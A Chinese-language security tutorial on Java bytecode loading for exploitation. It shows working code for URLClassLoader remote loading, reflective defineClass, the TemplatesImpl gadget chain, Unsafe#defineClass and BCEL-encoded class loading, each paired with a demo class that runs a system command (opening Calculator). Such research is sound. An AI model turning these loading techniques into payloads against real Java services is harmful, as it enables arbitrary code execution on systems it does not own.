简介
什么是Java字节码
它是程序的一种低级表示,可以运行于Java虚拟机上。将程序抽象成字节码可以保证Java程序在各种设备上的运行
Java号称是一门“一次编译到处运行”的语言,从我们写的java文件到通过编译器编译成java字节码文件(.class
文件),这个过程是java编译过程;而我们的java虚拟机执行的就是字节码文件。不论该字节码文件来自何方,由哪种编译器编译,甚至是手写字节码文件,只要符合java虚拟机的规范,那么它就能够执行该字节码文件。
JAVA程序的运行
因为Java具有跨平台特性,为了实现这个特性,Java执行在一台虚拟机上,这台虚拟机就是JVM,Java通过JVM屏蔽了不同平台之间的差异,从而做到一次编译到处执行。
JVM位于Java编译器和OS平台之间,Java编译器只需面向JVM,生成JVM能理解的代码,这个代码即字节码,JVM再将字节码翻译成真实机器所能理解的二进制机器码。
字节码如何产生
我们编写的代码文件通常是以.java
作为结尾的,可以直接通过javac
命令将java文件编译为.class
文件,这个.class
文件就是字节码文件,也可以直接运行IDE,让其自动为我们编译
如何看懂字节码
可以参考文章:深入理解JVM-读懂java字节码
加载字节码
通常我们是编写好java代码然后ide帮我们自动编译成class字节码文件再加载到jvm中运行的,那如果我们想自己加载class文件,有哪些办法呢?
- 后续利用到的演示恶意代码如下
import java.io.IOException;
public class Exp {
public Exp() throws IOException {
Runtime.getRuntime().exec(new String[]{"open", "-na", "Calculator"});
}
}
- 编译为字节码
javac Exp.java
利用URLClassLoader加载远程class文件
利用ClassLoader
来加载字节码文件是最基础的方法,URLClassLoader
继承自ClassLoader
且重写了findClass
函数,允许远程加载字节码,在写漏洞利用的payload
或者webshell
的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用(当然,该方式只适应于目标出网的情况)。
正常情况下,Java会根据配置项 sun.boot.class.path
和java.class.path
中列举到的基础路径(这些路径是经过处理后的java.net.URL
类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
URL未以斜杠/结尾,则认为是一个JAR文件,使用
JarLoader
来寻找类,即为在Jar包中寻找.class
文件(jar文件中直接包含class文件,可以使用命令jar cvf Exp.jar Exp.class
进行打包)。import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; public class loadClassFile { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException { URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8000/Exp.jar")}); // 会加载 http://127.0.0.1:8000/Exp.jar中的Exp.class Class<?> exp = urlClassLoader.loadClass("Exp"); // 触发构造函数,弹计算器 exp.newInstance(); } }
URL以斜杠/结尾,且协议名是
file
,则使用FileLoader
来寻找类,即为在本地文件系统中寻找.class
文件。import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; public class loadClassFile { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException { URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:/Users/d4m1ts/d4m1ts/java/classloader/")}); // 会加载 /Users/d4m1ts/d4m1ts/java/classloader/Exp.class Class<?> exp = urlClassLoader.loadClass("Exp"); // 触发构造函数,弹计算器 exp.newInstance(); } }
URL以斜杠/结尾,且协议名不是
file
,则使用最基础的Loader
来寻找类.class
文件。import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; public class loadClassFile { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException { URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8000/")}); // 会加载 http://127.0.0.1:8000/Exp.class Class<?> exp = urlClassLoader.loadClass("Exp"); // 触发构造函数,弹计算器 exp.newInstance(); } }
主要关注第三点,利用基础的Loader
类来寻找类,而要利用这一点必须是非file
协议的情况下
除file
协议外,JAVA默认提供了对ftp,gopher,http,https,jar,mailto,netdoc
协议的支持
因此作为攻击者,只要我们能够控制目标Java URLClassLoader
的基础路径为一个http服务器,则可以利用远程加载的方式执行任意代码了。
利用ClassLoader#defineClass加载字节码
其实java不管是加载远程的class文件,还是本地的class或者jar文件,都是要经历下面三个方法调用的:
loadClass
: 从已加载的类缓存、父加载器等位置寻找类(双亲委派机制),在前面没有找到的情况下,执行findClass
。findClass
: 根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass
。defineClass
: 处理前面传入的字节码,将其处理成真正的Java类。
着重关注第三个方法defindClass
,由于ClassLoader#defineClass
方法是protected
所以我们无法直接从外部进行调用,所以我们这里需要借助反射来调用这个方法。
由于
ClassLoader#defineClass
方法是protected
所以我们无法直接从外部进行调用,所以我们这里需要借助反射来调用这个方法
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class loadClassFile {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
byte[] classBytes = Files.readAllBytes(Paths.get("/Users/d4m1ts/d4m1ts/java/classloader/Exp.class"));
// 通过反射调用 defineClass
Class<ClassLoader> clazz = ClassLoader.class;
Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class exp = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Exp", classBytes, 0, classBytes.length);
// 需要手动实例化触发构造函数
exp.newInstance();
}
}
需要注意的是,ClassLoader#defineClass
返回的类并不会初始化,只有这个对象显式地调用其构造函数初始化代码才能被执行,所以我们需要想办法调用返回的类的构造函数才能执行命令。
在实际场景中,因为defineClass
方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl
的基石。
利用TemplatesImpl加载字节码
在多个Java反序列化利用链,以及fastjson、jackson的漏洞中,都曾出现过 TemplatesImpl
的身影。虽然大部分上层开发者不会直接使用到defineClass
方法,同时java.lang.ClassLoader
的defineClass
方法作用域是不开放的(protected
),很难利用,但是Java底层还是有一些类用到了它,譬如TemplatesImpl
在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类中定义了一个内部类:TransletClassLoader
可以看到这个类继承了ClassLoader
,而且重写了defineClass
方法,并且没有显式地定义方法的作用域。
Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为
default
。也就是说这里的defineClass
由其父类的protected
类型变成了一个default
类型的方法,可以被同一个包下的类调用。
由于TransletClassLoader
是default
的可以被同一个包下的类调用,所以由下向上寻找这个defineClass()
在TemplatesImpl
中的调用链
一直Find Usages
,最终找到调用链如下:
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass(final byte[] b)
最外层的2个方法均是public
修饰的,可以被外部调用,以TemplatesImpl#getOutputProperties()
为例。
初次观察整个链,需要设置的参数如下
_bytecodes(字节码,不能为null)
、_name(不能为null)
、_class(需要为null,而默认情况下也为null,所以可以不需要)
但是这样会抛出异常
NullPointerException
,经过分析,发现还需要设置_tfactory
参数,它的类型为TransformerFactoryImpl
所以一共需要设置3个参数,分别是_bytecodes
、_name
、_tfactory
通过下方实例化的代码,可以看出远程加载的类还必须继承AbstractTranslet
类
- 所以我们的恶意类代码修改如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Exp2 extends AbstractTranslet {
public Exp2() throws IOException {
Runtime.getRuntime().exec(new String[]{"open", "-na", "Calculator"});
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
- 加载字节码代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class loadClassFile {
public static void main(String[] args) throws IOException, IllegalAccessException, NoSuchFieldException, TransformerConfigurationException {
byte[] classBytes = Files.readAllBytes(Paths.get("/Users/d4m1ts/d4m1ts/java/classloader/Exp2.class"));
TemplatesImpl templates = new TemplatesImpl();
Class clazz = templates.getClass();
Field bytecodes = clazz.getDeclaredField("_bytecodes");
Field name = clazz.getDeclaredField("_name");
Field _tfactory = clazz.getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
_tfactory.setAccessible(true);
bytecodes.set(templates, new byte[][]{classBytes});
name.set(templates, "d4m1ts");
_tfactory.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}
利用Unsafe#defineClass加载字节码
Unsafe
是位于sun.misc
包下的一个类,主要提供一些用于执行低级别、不安全操作的方法,如直接访问系统内存资源、自主管理内存资源等,这些方法在提升Java运行效率、增强Java语言底层资源操作能力方面起到了很大的作用。使用该类可以获取到底层的控制权,该类在sun.misc
包,默认是BootstrapClassLoader加载的。
而它里面也存在一个defineClass
方法,且为public
可直接调用
但因为Unsafe的构造方法是private类型的,所以无法通过new方式实例化获取,只能通过它的getUnsafe()
方法获取。 又因为Unsafe是直接操作内存的,为了安全起见,Java的开发人员为Unsafe的获取设置了限制,所以想要获取它只能通过Java的反射机制来获取。
因为安全问题,不能直接调用
但前面也说了,我们可以通过反射的方式来调用
通过分析发现,theUnsafe
为Unsafe
的对象,我们反射拿到这个对象,就可以执行任意方法了
加载字节码代码
import sun.misc.Unsafe;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;
public class loadClassFile {
public static void main(String[] args) throws IOException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
byte[] classBytes = Files.readAllBytes(Paths.get("/Users/d4m1ts/d4m1ts/java/classloader/Exp.class"));
Class<Unsafe> unsafeClass = Unsafe.class;
Field theUnsafe = unsafeClass.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Class<?> exp = unsafe.defineClass("Exp", classBytes, 0, classBytes.length, ClassLoader.getSystemClassLoader(), null);
exp.newInstance();
}
}
利用BCEL ClassLoader加载字节码
BCEL(Byte Code Engineering Library)的全名应该是Apache Commons BCEL
,属于Apache Commons项目下的一个子项目。它提供了一系列用于分析、创建、修改Java Class文件的API。但其因为被Apache Xalan
所使用,而Apache Xalan
又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的原生库中,位于com.sun.org.apache.bcel
虽然说它包含在原生库吧,但是在jdk8u251后,
com.sun.org.apache.bcel.internal.util.ClassLoader
就被删除了,如果单独引入了它的依赖,则还有ClassLoader,参考 BCEL ClassLoader去哪了依赖:
<!-- https://mvnrepository.com/artifact/org.apache.bcel/bcel --> <dependency> <groupId>org.apache.bcel</groupId> <artifactId>bcel</artifactId> <version>5.2</version> </dependency>
在bcel的包中有一个ClassLoader
,他重写了Java内置的ClassLoader#loadClass()
方法,在loadclass
方法中会对类名进行判断,如果类名以$$BCEL$$
开始,就会进入createClass
方法,
然后在createClass
方法里面,会调用Utility.decode()
来解密,最后生成clazz
但如何生成能给它解密的字节码呢?
通过BCEL
提供的两个类Repository
和Utility
来实现:
Repository
:用于将一个Class
先转换成原生字节码,当然这里也可以直接使用javac
命令来编译 java 文件生成字节码;Utility
:用于将原生的字节码转换成BCEL格式的字节码;
利用代码
JavaClass javaClass = Repository.lookupClass(Exp.class);
String encode = Utility.encode(javaClass.getBytes(), true);
System.out.println(encode);
new org.apache.bcel.util.ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();
结果
看着很简单很容易,但是有很多坑
坑点一:
jdk8u261,Utility.encode
中,GZIPOutputStream
流不会close
,所以内容写不进ByteArrayOutputStream
的(给俺整懵了,网上没找到一个说这个问题的,还是得自己调试才行,离谱)
换了个低版本的jdk8u231,就关闭了流可以写入进行加密,俺也不懂为啥高版本删除了,难道是删除ClassLoader
的时候一起删除了?。。。
坑点二:
换了低版本的JDK,但是出现了新的问题,提示不支持的操作
跟了一下,发现在ClassLoader#createClass()
方法中有问题
其中在调用setBytes()
是提示这个方法调用会失败
跟进一下,发现会直接抛出异常。。。
找了一大圈,没发现有人提到这个问题,后来不经意看到了setBytes
的说明,在BCEL 6.0
的时候遗弃了。。。
所以需要用低于6.0版本的BCEL,换了个06年的5.2
<!-- https://mvnrepository.com/artifact/org.apache.bcel/bcel -->
<dependency>
<groupId>org.apache.bcel</groupId>
<artifactId>bcel</artifactId>
<version>5.2</version>
</dependency>
方法没被遗弃,然后解决了这个问题